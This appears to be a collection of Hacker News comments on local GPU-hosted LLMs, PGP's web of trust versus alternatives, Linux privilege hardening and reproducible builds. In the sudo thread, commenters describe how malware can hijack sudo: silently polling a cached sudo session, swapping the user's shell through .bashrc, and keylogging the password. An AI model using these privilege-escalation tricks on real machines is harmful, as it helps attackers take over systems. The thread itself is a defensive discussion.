Buy a few GPUs so you can skip the Claude subscription, and never have to worry about rate limits, privacy, or refusals. Will pay for itself with a small team in a few months.
I mostly work on custom from scratch Linux operating systems and packages across dozens of languages.
I do 100% of my AI work today using two AMD r9700 pro GPUs on a 10yo pc I pulled out of an old arcade machine.
AI subscriptions only make sense for people who cannot build a basic home computer.
It’s not cheaper to run Claude in your own GPUs rather than the $200/mo for certain workloads. For a large portion of what I work on, the bottleneck is my time, not tokens. You certainly could throw more tokens at it but if you need it to work a certain way for certain reasons, and your plan/goals are beyond the scope of what the top-capability models can do, then throwing them at the problem just bogs you down in extra cruft or reviews/iteration that you could more effectively do being the primary driver of the work.
Yeah, the point was mostly that you can offload a lot of stuff to AI + code — stuff that before you would have needed people for.
Obviously, it becomes better to have local models running on your own hardware — that will be best. I don't think we are there yet, though. Software, yes. If you tweak Pi and DeepSeek Pro, you can get Claude-code-level stuff. You'd still need to buy the hardware, though. Not cheap. Eventually, it will get very cheap.
Maybe 2 months. I have mostly used the Qwen series, and currently running Qwen3.6 27B for programming and debugging and Qwen3.6 35B for speed and research. Both punch way way above their weight and replaced Qwen3.5 122B for me. Qwen 3.6 27B even is, for my workloads, preferable over Big Pickle (GLM-4.6) which is the only large third party model I have used extensively for reference and comparison as it is free and requires no signup or PII via OpenCode. My go to agent solution though is Charm Crush.
I once had a VC ask to meet my founders and I for his morning breakfast at a run down diner in texas. So we fly out from Florida pitch deck in hand, and meet him at his booth.
We pull out the deck, he says "Do not need that. How many paying customers do you have?"
Given we were at MVP stage and were running a public sentiment analysis driven social media search engine using our published academic AI work (15 years ago) we said "None yet. The capital to build the paid portion of our product, which is popular, is why we are here."
As he eats his eggs he goes "Come back when you have a hundred or more paying customers" and sent us packing .
Not even a 5 minute interaction with people he asked to fly out to pitch him, and were not even allowed to pitch.
I expect rejection by default at an early stage, but that one was particularly mean.
It will forever remain my go to example of a meeting that could have been an email.
One excited investor we did find for another project ended up being the now famous con man "Michael Prozer" who got on who wants to marry a millionaire using forged bank records and proceeded to get actual capital based on this lie until he was arrested for fraud.
My opinion of VCs is still... recovering. The bar is in hell.
In the end my co-founders and investors wanted to sell to a single specific political party exclusively. I chose not to participate as it did not align with my goals, and started a small IT company instead. The original project was dead within a couple months of me leaving given no one else had any idea what ssh was.
At what point does this kind of groveling behavior actually become a negative signal, though?
If you’re willing to fly halfway across the country just to talk to a VC in a diner, it signals a lot of desperation IMO.
I haven’t had a ton of interactions with VCs; however, I have read innumerable books about the VC world, and a recurring theme is that VCs are competitive and don’t like being left out of a deal / losing a deal to another VC.
By willing to fly so far away for nothing, it signals that no other VC is interested.
This is madness. I bought my daily driver GPUs for $3k, and they run often 24/7 solving complex bugs and problems for me that would have previously taken months to fix. No rate limits, no censorship or refusal to work on security issues, and complete privacy. Also even when my internet is down they keep on working.
Stop giving Anthropic money and figure out how to take the same money to buy some GPUs, and physically insert them into workstations. It is not that hard, I promise.
Everyone is trying so hard to re-invent PGP, while parroting that PGP is dead because some security influencers said so.
Well, there is a LOT of ongoing PGP modernization work on both specifications and implementations in recent years and my team and I at Distrust will be publishing a writeup on it any day now, as well as organizing yet another key generation and signing party in San Francisco next month.
PGP is not going away any time soon, and it is more relevant than ever.
No part of what's being proposed here has anything to do with PGP. They aren't proposing a "web of trust" with "key servers". They're proposing an immutable binding between names and key identities.
PGP's "self-sovereignty" comes from mutually agreeing with groups of people who already know each other to exchange files establishing identities. That is to trusted identity what the one time pad is to cryptography: a punt on the entire problem space.
> PGP's "self-sovereignty" comes from mutually agreeing with groups of people who already know each other to exchange files establishing identities.
Or between total strangers that met in person at a key signing party and agreed "you look like a human and not a bot to me".
We need human identity to be certified by humans using very long lived standard PKI primitives. Anything else, bots can easily monopolize to the point of being useless.
Rather than debate this here though yet again, I am working on a blog post which includes a lot of quotes, including one from you, to make a case for why PGP is still the best and most widely used and useful proof-of-human and self-sovereign PKI solution that exists, and why we should double down on it.
That's fine! It's perfectly reasonable to say "this isn't a problem worth solving". But you can't then say something else actually solves the problem by punting on it. Be clearer about what you're saying, instead of invoking the specter of "security influencers".
I am not saying it is not a problem worth solving. I am actually saying PGP actually solves the problem of which key actually belongs to which person.
There are dozens of keys claiming to be Torvalds that lack credible endorsements from high reputation identities, so those are easily ignored. The one that has been signing the Linux kernel for years and signed by many people putting their reputations on the line is the one we care about.
It is intuitive and does not need a math degree to understand.
It is unuseful to people with threat models that allow for entrusting their social graph to centralized identity systems managed by centrally controlled software supply chains that any compromised insider could manipulate.
For me and thousands of other Linux distro maintainers that maintain the core software supply chains and infrastructure that runs the internet, we cannot afford centralized trust graphs. Nothing else comes close to solving the problems PGP solves.
That is why it is an active IETF standard with modern cryptography and several actively maintained and widely used implementations.
Again, this works when your userbase is a small group of highly technical people who already have social connections to each other. But then again, so would just swapping Signal security numbers.
It completely and totally collapses in the face of non-technical users or broad adoption, which is one of multiple reasons that PGP remains a thing that a small set of people use.
Just to be pedantic about this: it does not in fact work; PGP has failed those kinds of user groups and platforms over and over again over the last 3 decades.
And yet many of the highest risk systems that exist, the whole foundation of the internet, several governments, major corporations, and thousands of high risk individuals rely on it because centralized options will never be agreed to by all parties, for good reason.
I have lost count of the orgs I have personally trained to use PGP properly in recent years.
In spite of your claims, PGP solves the problem it was designed to solve for the groups that need it most and the tooling is getting rapidly more accessible to a wider audience with more development energy today than it has ever had.
This is not 2016 PGP we are talking about anymore.
That's a weird thing to say. Yes, it is? What are you claiming is different about it? In fact, there are ways in which it has regressed from 2016's incarnation.
A renewed IETF working group that aggressively deprecated legacy ciphers and mandated modern ones with optional PQ crypto support (RFC 9580). Lots of actively developed rust implementations like rPGP, rsop, rpgpie, sequioa. Easy key provisioning and backup with smartcard support via keyfork. Smartcards with rust firmware by Nitrokey. Modern key distribution and trust bootstrapping via openpgp-ca, hagrid, keyoxide, etc.
GnuPG is admittedly garbage, but also that has not been a valid implementation of PGP specifications for a while and no one should use it anymore. PGP != GPG
I would strongly suggest taking a hard look at the last decade of thankless work going on to modernize the PGP ecosystem we all rely on directly or indirectly.
Currently writing up the above and a lot more in detail to refute years of outdated rhetoric on this topic so we can start having more useful conversations about it.
It's thankless because it's a bunch of folks at the county fair running around putting lipstick on all the pigs.
Having a bunch of implementations of an omnibus package that tries to be a crypto swiss army knife, written almost exclusively without the input of cryptographers, is actually not a desirable goal.
And none of the back seat drivers ever have alternatives to suggest that solve the same problems while having bothered to endure the IETF standardization process, and thus PGP will continue to be the trust foundation of the software supply chain of the internet for the forseeable future.
This fragile network we all use is made of a mountain of pigs that continually need their lipstick reapplied by people that do it for free or near free out of a desire to keep the whole thing running for everyone.
Said people even do it for the users that stay at safe distance pointlessly saying "We should go back in time and build it differently in unspecified ways!".
> Is your pitch that the people who call out problems with PGP don’t have suggested replacements for workflows?
Yep. I have read every single blog post I can find from critics. Most several times. As have most people that work on this stuff. Some were partly relevant when they were posted and even less relevant today. All of them completely missed the boat on the problems PGP solves that none of the alternative do, or have any serious suggestions for migration paths or standards changes.
I will be quoting most of those posts in a blog post in the next couple weeks on https://distrust.co.
Most of them have corporate alternatives to sell you which have no chance of adoption by standards bodies.
There's like, a whole section on https://www.latacora.com/blog/2019/07/16/the-pgp-problem/#th... that's specifically recommendations. The only ones that are "corporate" are chat (where PGP's UX and security model are absolutely horrendous in ways that both prevent mass adoption and make it comically easy to screw up, and where most of those problems are nearly impossible to resolve in a federated system) and I guess backups, if we consider Colin Percival to be "corporate" when he puts on his tarsnap hat.
Ah yes. That post. People send it to me all the time. It is my favorite.
It proposes that dissidents and security researchers from all countries from a wide range of backgrounds and beliefs on privacy, should all just accept the terms of service of their pick of two US based surveillance capitalism mega-corporations, trust they do not have any insiders or vulns, then reveal their identity to cell carriers in most countries, to get signal up and running, whose terms of service they must also accept, and then with the help of two corporations and their proprietary software supply chains, they can then submit an encrypted security vulnerability.
I legitimately laugh every time at the US corpo-brained takes in posts like these.
TL;DR: "Just let the US tech giants handle all identity and communication for the whole internet. What could go wrong? Super secure companies with great uptime like Microsoft GitHub can sign our commits for us and of course Google and Apple pinky swears to disobey executive orders to serve tampered updates of Signal to select devices. It will be fine."
The people that use their PGP keys to sign and securely distribute damn well near every binary that powers the internet are mostly in Europe, and not big fans of letting centralized and mostly proprietary US institutions control their online identity, let alone trusting them to not use a supply chain attack to read their private security correspondence. I for one have found a pile of serious vulns, including in GnuPG, and I do not have a Signal account and never will as I disagreed with the terms of service of Apple Google and Signal. Anyone that does not want plaintext disclosures would be wise to publish PGP keys for people like me. Thankfully most major tech firms still do, even if only to appease non US citizens and my fellow decorpoed americans.
Encrypted email is the only neutral decentralized and IETF standard comms tool we have. I say that as also a big fan of Matrix and would love to see it or something decentralized like it standardized but right now email is the standard so the snowdens and security researchers of the world should use PGP with modern ciphers and learn how to do it offline when doing high risk comms.
Even so, on the other side of this, having setup bug bounty programs for many orgs, the PGP encrypted/signed submissions from reputable folks were always the really spicy shit I would not want anywhere near a modern smartphone, and I would always decrypt them offline with a smartcard for good reason. I would not even consider being party to a bug bounty program that does not publish a PGP key to be maximally inclusive, even if they hate PGP.
Also re tarsnap. It does not even support smartcards, so just shove your private key for your entire filesystem in system memory, and back it up to a conventional password manager I guess? WTF.
Meanwhile with PGP you generate a key on a smartcard, you provide the public key to duplicity, and you can do backups without ever exposing your private key.
The alternatives suggested are strictly worse by any metric, and fail to understand the threat models of existing solutions.
GnuPG is not the final say for PGP any more than IE6 was the final say for the web. Migrating off IE6 took a while and so will migrating legacy systems off GnuPG. New users of PGP are thankfully mostly using new gen reasonably secure tools.
Just like IE6, GnuPG abandoned the global standardization processes and in doing so forced an expensive migration to successors.
Global changes on the internet take decades in part because of all the people far removed from the process spreading outdated information and demanding we give up on standards and move the whole world to centralized solutions that do not even solve the same problems, like Java Applets, Adobe Flash, or Signal.
Meanwhile those standardizing and rolling out longer term solutions roll their eyes and keep doing the work.
If everyone is moving to new software, in a migration that is barely 5% underway, why would you migrate to PGP of all possible cryptosystems? It's 2026.
I'd pose this challenge to you: find the most reputable cryptography engineer or academic cryptographer you can find that believes this is a good idea. I'd be interested if you could find even one. Fair warning: some of my confidence talking down PGP comes from knowing what the conventional wisdom among cryptographers is about the PGP cryptosystem.
New software that is compatible with any keys generated with good-enough ciphers from the last decade. Compatibility wins.
If we are going to play the appeal to authority game, I could just as easily challenge you to find any willing to publicly point out any serious issues with the current PQ focused OpenPGP standards with implementations using libraries by accomplished cryptographers. I am sure they would appreciate constructive feedback. Encourage them to join the specification process and recommend specific alternatives and migration paths.
I also wonder if we could find any that would not scrap TLS DNS and a lot of IETF protocols that run the internet today if they could. Decentralized protocols are messy but anything that tries to replace them without first taking the time to understand the current uses and migration path has no hope of success, and that is brutally difficult political work full of careful compromises.
Famous cryptographers have long advocated for things like tcpcrypt, and I even agree with them, but it will probably never happen. Too disruptive. We are still rolling out IPv6 FFS. When faced with an established global internet, compatible lower disruption migration steps are the only way forward as most experienced security engineers would begrudgingly agree.
Cryptographers should absolutely focus on the security of the ciphers, but when it comes to applications, and human privacy and security goals, and human to human trust bootstrapping protocols, the conversation has to get a lot wider. It is normally dominated by security engineers like us close to the hands on use cases, and the people doing the hard work in the working groups and tool development circles that understandably wish to quietly read different takes from a safe distance.
Cryptography basically always explodes at the joinery. One of the guiding principles of modern cryptographic tools is designing implementations that do not have footguns, where the default behavior solves the default threat model and dangerous things are outright impossible. This has been apparent in the string of GPG security failures over the past several years. It's not that somebody breaks RSA or AES. It's that the tools willingly emit bad data because of bad error handling, and then users are told they were holding it wrong and it's their fault for choosing a bad implementation.
Maybe it's worth asking if the reason cryptographers aren't engaging with the work to "modernize" PGP, and that instead we're seeing them building and shipping individual focused solutions to specific workflows, is perhaps because their constructive feedback is akin to ~"you are fundamentally trying to prop up a house of cards that should not exist"
So you are saying that the solution is that we go to the majority of active and reputable PGP keyholders, Linux maintainers, and tell them to stop signing the binaries that run the internet, and just yolo, because that worked so well for NPM?
I’m saying several things, but since you’re really focused on Linux package signing, I’m saying about that: PGP is a bunch of theatre there and distros should use minisign instead.
Linux package signing is a great example of where PGP is goofy. Users of Linux distros get their root of trust by downloading a keyring from the exact same place they download the distro ISO. To a rounding error, no users are checking a trust path from them to a distro maintainer, nor does the trust path between one maintainer and another matter.
Distros are themselves centralized entities. They already run bug trackers and forums and centralized package repos that necessitate an authentication system.
So PGP effectively becomes a clunky behemoth whose output is just “every package has a signature that is checked against a centrally curated set of keys that get shipped around to users”.
> PGP is a bunch of theatre there and distros should use minisign instead.
Okay so drop the IETF standard, web of trust, smartcard support, and external key discovery mechanisms to prove the whole keychain was not swapped out with a fake one, and just have everyone generate minisign keys exposed to system memory with no trust link backwards, and then sign things with probably the same algorithms. But then we cannot sign commits or code reviews with minisign because non standard, so i guess use ssh keys for those, and then maintain multiple keychains for each person.
Minisign is strictly worse in every way. Your camp will never convince Linux maintainers to switch with this pitch.
Many of us actually do verify the web of trust, extensively. I have many Linux maintainers in my own keychain independent from their usage in linux distros. Minisign has no such key distribution and accountability system.
> Okay so drop the IETF standard, web of trust, smartcard support, and external key discovery mechanisms to prove the whole keychain was not swapped out with a fake one, and just have everyone generate minisign keys exposed to system memory with no trust link backwards, and then sign things with probably the same algorithms. But then we cannot sign commits or code reviews with minisign because non standard, so i guess use ssh keys for those, and then maintain multiple keychains for each person.
I'm going to take "the appeal to authority game" as an agreement that you think it's unlikely you'd find such a person to vouch for a modernized rebirth of PGP, or really any continued use of PGP.
I could name a few off the top of my head, some of which have audited my teams work, but I do not want to put specific people on blast. Most cryptographers I know tend to prefer math to internet controversy and I do not blame them.
I have dozens of more examples of high risk orgs with cryptography teams relying on PGP I am compiling for my post right now. Added a bunch of extra ones just for you.
Honestly from my side of the table, it is the anti-pgp camp that appears to be the loud minority. The world quietly runs on "dead" PGP technology so deeply that any calls for a complete replacement without any compatibility or trust transition path are clearly under-researched and should not be taken seriously.
I have a hard time imagining many cryptographers deeply aware of the impossibility of any rapid transition away from PGP would suggest we abandon the migration to secure modern ciphers now.
A lot of people would like to -eventually- move away from openssl too, myself among them, but not updating to openssl 4 and beyond in the short term would be a world burn kind of move.
If the measure here is "I met this person at an event and they were a human", and the protocol becomes actually important for proving personhood, what is the measure that stops somebody from turning up to a bunch of events and getting "human" keys signed to then repurpose for bots?
Because this is too expensive to scale, and people talk in small circles about who has signed who. Good luck inventing thousands of fake identities with a long trust history and reputation with this approach.
Botmasters like situations where they can hide offline and buy bots blue checkmarks with stolen credit cards.
This is a fun kind of paradox. Right now it wouldn't scale well because signing parties are a niche nerd activity and having your identities signed by other GPG users doesn't really help with anything you'd want to do with a bot.
But if you were to actually succeed in making key signing parties a more common thing that people used to test for human-ness, and that test was tied to meaningful things online, it would both become easier to fake and more valuable to fake.
When you sign a key you pick a trust level. If no one reputable has ever trusted a persons key with a higher level than "human", then that key should be subject to significantly higher scrutiny.
If you look at my key, you will find it is heavily connected to the keys that sign most linux distributions, bitcoin, and commits to the Linux kernel today.
If those 5444 linked identities that long pre-date AI are colluded to create a fake me and fake people that signed people who signed me over the last 25 years, and got those fake fingerprints in the keychains of every distro and got matching fingerprints on thousands of privately owned sites, we indeed have serious problems.
Yes, that would be the conundrum I was describing. If your plan were to work, the idea of a signer being "reputable" would be watered down into nothing.
Well, it is working as intended, right now, and the binaries running on the servers we are communicating with right now were likely signed and validated with Linux maintainer PGP keys because it is the only standard and decentralized option.
PGP does not need mass adoption to function, but with solutions like keyoxide offering a more accessible trust onramp, it is there for anyone that wants to self certify and take control of their own identity today, and get signed by trusted community members tomorrow at a conference.
It is hard enough for people to keep up with one keychain, let alone a dozen of them for every use case in their lives.
PGP keychains allow you to have a single 24 word mnemonic seed to recover your entire digital identity, data access, etc. The UX is strictly better than the commonly suggested hodge podge of flavor of the week alternatives.
I've struggled with PGP with the idea that I can't quite express "I'm signing as this specific User ID by using this specific signing subkey"... The only way I've found to reliably express that is to maintain completely separate keys. Is there anything in the works to give ergonomics around this?
You should only be signing other peoples keys with your master key which should never touch an internet connected operating system. Subkeys should have limited privileges and be easy to lose or rotate as needed, but can all live under the same master offline identity key, which acts like a personal CA.
The first bit seems possibly solvable with private set intersection. You can publish a salted hash of everybody you trust, and I can compute hashes of everyone I trust with your salt to see if we have anyone in common. Then I check the signature corresponding to the salted hash I like, and hopefully it doesn't reveal anything you don't want to reveal.
I don't know if anyone has actually done this in practice. Does it work?
Having a public graph is critical for trust in Linux distributions. All it means is a human met you and agreed you are human and signed your key. It does not imply you are friends.
It is pretty useful for someone totally outside the trust graph to be able to prove the key that just signed the latest release of stagex is only a couple steps away from the keys that sign debian and the Linux kernel. Keys that long predate AI.
Public trust accountability is exactly what we want from people responsible for the legos that make up the internet.
You can of course have private signature packets revealed as needed though.
Secure boot protects against evil maid attacks, but no one would ever need use an evil maid attack on a NixOS user because anyone can merge whatever they want to NixOS without signature or review, particularly given that any maintainer can merge their own commits from their own pseudonyms.
NixOS is always one compromised Github API token away from a backdoor into everything built with NixOS.
I cannot imagine a threat model that would need secure boot yet accept the risks of NixOS.
What are you on about now? I got _one_ of my projects accepted into NixPkgs a couple years ago and have never done it since due to the huge PITA it was to find someone with contributor rights to sign off on it. If I want to update it, same hassle. Now I prefer to just throw a flake in the root of the project and call it good, which actually works really well.
Wait until you find out that Arch has both secure boot and the AUR.
You have to be either a committer in general or a maintainer of a specific package to merge PRs into Nixpkgs. Contributors' PR approvals in Nixpkgs are just an informal signal for maintainers and committers to consider. And maintainers can only merge changes related to the packages they maintain, not other random changes.
But a maintainer could merge their own PR created by a pseudonym, and signing is not required, so in effect, they can ship any changes to their own packages they wish. This is a major supply chain security risk.
Sure, without exploits they can steal your api keys, read your personal data, and access your browser data. With exploits they can update packages on your computer too.
> Malware can make a fake unprivileged sudo that sniffs your password.
Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.
Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).
It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).
Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.
That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.
I did set that up just because I could. Turns out it's fully usable so I kept using it.
Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.
> Realistically if you have installed malware, you need to do a full wipe of your computer anyway
You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).
> But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).
Oh no, I'd still nuke everything from orbit should I find anything indicating a local exploit succeeded. But the thing is: if on one system a local exploit has less probability to give root, then the probability that on that same system I'd know I need to nuke everything from orbit would be higher than on a system where root is easier to obtain.
I was however answering to the part about subverting sudo: and I both agree (it's totally trivial to abuse sudo) and disagree ("everybody uses sudo") with the part about sudo.
I agree. My surreptitious goal was to emphasize to anyone reading along: this person has put in the extra effort, but even they will not try to recover a compromised system. It is just too risky.
In my case I use QubesOS so sudo is useless even if present since every security domain is isolated by hypervisor.
For servers, sudo or a package manager etc should not exist. There is no good reason for servers to run any processes as root or have any way to reach root. Servers should generally be immutable appliances.
Thanks for sharing this, that seems like a very cool setup. I have a very old good-for-almost-nothing laptop that would be perfect for this, might just have to copy you!
FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years."
I don't think I've ever heard a native speaker say it, but I could definitely imagine it coming out of a native speaker's mouth with that pregnant pause, specifically. Like an acknowledgment that you're about to say something a bit grammatically awkward.
I only mentioned it because I used to think correcting people's English was rude, until I had a long work engagement with a French guy whose English was pretty good but not quite native. He insisted that I correct his written English if I saw a mistake (i.e. in documentation, proposals, etc.), otherwise he wouldn't learn where it was wrong and how to improve it.
To my ears it “since years” sounds like it’s missing an “ago” after it (or like the GP said “for years” sounds even more natural).
It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th"
To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).
Is the meaning different? I'm struggling to see how "from September 20th" would have a different implication to "starting from September 20th" (or similar) given the context.
Are root logins only allowed from that particular LAN? Because ssh localhost is a thing.
I would say that the inability to obtain a session with elevated privileges from a normal session is key. The problem with sudo is that it gives the same shell some superpowers, so it's exploitable. Even ssh might be impenetrable, if not for the /dev/<pid>/fd of the ssh invocation, and even that can only read.
> Why disallow password login when you have 30 char password?
I only disallow password login over SSH. It's still technically possible to log in at a virtual console (like tty1 / tty2 / etc.) using a password (btw only root has a 30 characters password).
Usually you do not allow to directly log in as root by SSH: but in my case it's basically the way I want it done. So I allow root to log in by using SSH but only with a Yubikey.
You don't even really need that; you just need to wait until the user runs `sudo` and then you also run `sudo` after they authenticate. Now you're root, boom. It doesn't get you the password, but once you're root you can backdoor to your heart's content and then you probably don't need it.
Alternately, run `sudo --non-interactive --validate` over and over until it succeeds. For some reason, using noninteractive doesn't log to the auth log/journald the way trying and failing to actually run a command would.
Edit: the loop only works assuming you can run this sudo command in the background in the user's shell so that you can pick up the same sudo session when they auth, which is honestly unlikely. Easier to wrap sudo in a command that just also runs sudo and then immediately runs something else.
Ok, so the malware runs a keylogger / clipboard logger, gets the password and runs sudo on it's own. Or replaces your shell by putting exec ~/hackedbash into your bashrc
Password on sudo is only useful if you detect the infection before you run sudo
Physical attestations are hard to solve, I think it would be nice if all TPMs in laptops had this. Then the problem becomes how do you automate stuff that needs to be done.
At least my password won't leak as often with yubikey, but the attacker can still hack my shell to execute fake sudo. Even if I type /bin/sudo explicitly, there is ptrace, LD_PRELOAD or just replacing the entire bash binary.
In practice yubikey sudo keeps you much safer today, as almost nobody uses it and malware won't be prepared for it
Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'.
Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.
The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis
The old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutions
bin passwords I will always remember: At the University of Maryland CS department systems the bin password was "fuck,you", and there was a devout Christian student on staff who had a problem with that, so we had to change it (to something harder to remember, I just can't recall).
If you set the appropriate linux capabilities flag on a binary such as sshd at bootup then unprivileged users can bind to 22, no problem.
setcap 'cap_net_bind_service=+ep' /usr/sbin/sshd
Could even run it as a daemon unprivileged from a home directory with "systemd --user"
That said if you have multiple users and want every user to have their own sshd reachable on port 22 on the same machine you probably want to listen on vhost namespaced unix sockets and have something like haproxy listen on port 22 instead. Haproxy could of course also run unprivileged provided it has read access to all the sockets.
The way many including me manage systems without root privileges at runtime is by compiling immutable rootfs images that run in ram with kernel, init, mounting filesystems and assigning any users and privilege assignments, then drop to user privs.
That stuff needs to change very seldom, so when you do need to change it you just generate a new tiny rootfs image in a few seconds and reboot to pivot to it or maybe have a kexec trigger if you are feeling fancy.
For my primary workstation the entire disk is my home partition and I boot my latest rootfs from a flash drive. In other cases network boot.
For that you really only need CAP_NET_BIND_SERVICE.
The bigger issue is that if you want to install or update system-wide packages, many of those will be used by privileged processes. Suppose you want to update /bin/sh. Even if the only permission you had is to write binaries, that'll get you root.
Why not make a proper link /sudo so you don't have to type out the full path every time, which is very inconvenient? (but the fact that such workarounds are needed still means it's a theater)
It should be a way to make system env vars (profile.d or simlar) as readonly so every users' shell had these set to empty values and unable to change them.
Yes; I'm aware, but for some environments writting a custom shell as the one for SDF would be an easier task. Or maybe a really restricted "ash" called "rash" -because it is- with maybe autocomplete and that's it. Hardcoded $PATH and the like.
Anything that can be modified by an attacker can not be used to secure the sudo command. This is a recursive requirementor hierarchy for secure systems.
I mean, this is basically why you press Ctrl-Alt-Del to log in on Windows NT and Win2k - because it's a keystroke that malware couldn't trap, so they can't put up a fake login screen because the OS will override it anyway.
1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.
2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.
Neither would actually help in this case though. Malware could manipulate both of those as an unprivileged user to run malicious code the next time you elevate privileges.
Remember that malware can replace or modify your shell
No? The shell must be listed in /etc/shells, it can't be an arbitrary command. And after elevating privileges you have to run the malware (which could only be written to home or tmp) for it to work, but sudo already scrubs the environment.
So the main danger is that you're not running the real sudo.
I have an idea that I hope to implement one day to make sudo actually secure:
1. Authenticate with passkeys (webauthn) instead of passwords.
2. Sudo can only run an interactive root shell, not arbitrary commands. The session is time-bound, and the TTY output is recorded for auditing purposes.
This combination makes intercepting sudo largely useless. Passkey authentication cannot be replayed or relayed. The fact that sudo can only open an interactive shell makes it impossible for a sudo wrapper to pass a malicious to sudo. This way we're not dependent on whether the unprivileged shell is secured properly. It also solves approval fatigue (compared to running sudo separately for every command).
----
EDIT: now that I think about it: an attacker can still edit .bash_profile and reexec the shell in a malicious terminal emulator. Then when the user gets a sudo root shell, the malicious terminal emulator can inject malicious commands.
Looks like the only good way is to get a root privileges via a separate user account that doesn't have malware, and that also can't easily install malware (e.g. accidentally running npm, forgetting that that's not safe).
Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production.
You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.
Plenty of package managers can install to an arbitrary directory like ~/.local. Each user, or even each project, can have its own rootfs full of software.
The only things I tend to have running at the system level are a kernel and init and maybe openssh.
How would that help? Unless you happen to check the dotfiles git diff before running _anything_. I guess this could be put in prompt or some cron job to detect diffs but I bet absolutely nobody does this.
Anyone wanna do a quick offline MVP on a general vision assistant for the blind? We've had things like Google Lens for a while, but it's a bit vision and touchscreen-centric.
While we are bragging, stagex was the first to hit 100% full source bootstrapped deterministic and hermetic builds last year and the first to make multiple signed reproductions by different maintainers on their own hardware mandatory for every release.
Debian has come along way, but when Debian says reproducible they mean they grab third party binaries to build theirs. When we say reproducible we mean 100% bootstrapped from source code all the way through the entire software supply chain.
Guix did a full source bootstrap first, credit where well due, but it does not apply to their whole tree. E.g haskell is bootstrapped with a binary, qemu includes binary firmware blobs, etc.
Guix is not fully bootstrapped or reproducible.
To your point though, the incomplete efforts of many other distros absolutely accelerated us.
Unfortunately, the term “reproducible” can be interpreted in many ways because there is no strict and complete definition. People and projects bend it to their liking.
Centralized proprietary software on on proprietary platforms can always be opted into a special update that makes all the private keys deterministic making end to end encryption useless for anyone with knowledge of that targeted backdoor.
Only FOSS can deliver verifiable E2EE, and all centralized and proprietary solutions like Zoom, Whatsapp, Instagram, etc should end the security theater.
I applaud Meta for at least being honest about one product.
While I agree reproducible builds are a huge part of the answer, if you get your builds from Google Play or the App Store you have no idea if anyone has reproduced the particular build that was served to your device.
A solution to this would be independent reproducible builds like F-Droid does, but Moxie rejected this citing it would cause them to lose control of the platform and install metrics Google and Apple provide. Always thought that was a weird position for a privacy tool.
Any community that cares could then at least make the right choice of client for their community. The masses never care, but what matters is that privacy is actually a choice.
At the risk of being pedantic, that's not exactly what the principle says. It's claim is that a cryptosystem should be secure even if everything about the system except the private key is public knowledge. It doesn't require that the system be public, only that the security of a non-public system shouldn't rely on it's non-public nature. A closed source cryptosystem designed to still be secure even if someone discovers how it works satisfies the principle just fine.
It's an even simpler user experience to just publicly publish all private information.
Can you imaging, I wouldn't even need to give my social security number to another org manually again. Anyone could just look it up. It would make things so easy for everyone.
It's a trade off. If someone wanted they could keep reducing security to improve the user experience, but a product having bad security will be problematic.
>Anyone could just look it up.
Most people's SSNs have already been leaked or stolen so it's just security theater to pretend they are still private information.
I mostly work on custom from scratch Linux operating systems and packages across dozens of languages.
I do 100% of my AI work today using two AMD r9700 pro GPUs on a 10yo pc I pulled out of an old arcade machine.
AI subscriptions only make sense for people who cannot build a basic home computer.
reply